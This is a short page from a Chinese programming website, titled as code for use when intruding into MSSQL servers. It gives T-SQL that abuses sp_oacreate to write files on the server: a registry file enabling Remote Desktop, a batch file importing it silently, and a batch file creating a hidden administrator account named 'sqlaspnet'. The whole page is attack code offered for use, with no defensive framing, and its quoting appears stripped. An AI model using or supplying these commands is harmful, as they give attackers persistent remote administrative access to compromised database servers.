搜索文章:

首页  |  Java技术  |  Asp.net  |  Asp编程  |  VC/C++  |  Delphi  |  VB编程

MSSQL入侵时可以用到的代码

写个修改注册表的文件
declare @o int,@f int,@t int,@ret int
exec sp_oacreate scripting.filesystemobject,@o out
exec sp_oamethod @o,createtextfile,@f out,c:\windows\config\wfo.reg,1
exec @ret=sp_oamethod @f,writeline,null,
windows registry editor version 5.00
[hkey_local_machine\system\currentcontrolset\control\terminal server]
"fdenytsconnections"=dword:00000000

--到入
declare @oq int,@fq int,@tq int,@retq int
exec sp_oacreate scripting.filesystemobject,@oq out
exec sp_oamethod @oq,createtextfile,@fq out,c:\windows\config\wfo.bat,1
exec @ret=sp_oamethod @fq,writeline,null,
regedit /s c:\windows\config\wfo.reg

--加用户名

declare @o int,@f int,@t int,@ret int
exec sp_oacreate scripting.filesystemobject,@o out
exec sp_oamethod @o,createtextfile,@f out,c:\windows\config\wfou.bat,1
exec @ret=sp_oamethod @f,writeline,null,
net user sqlaspnet /add
net localgroup administrators sqlaspnet /add

()

相关文章:
© 2006   www.java-asp.net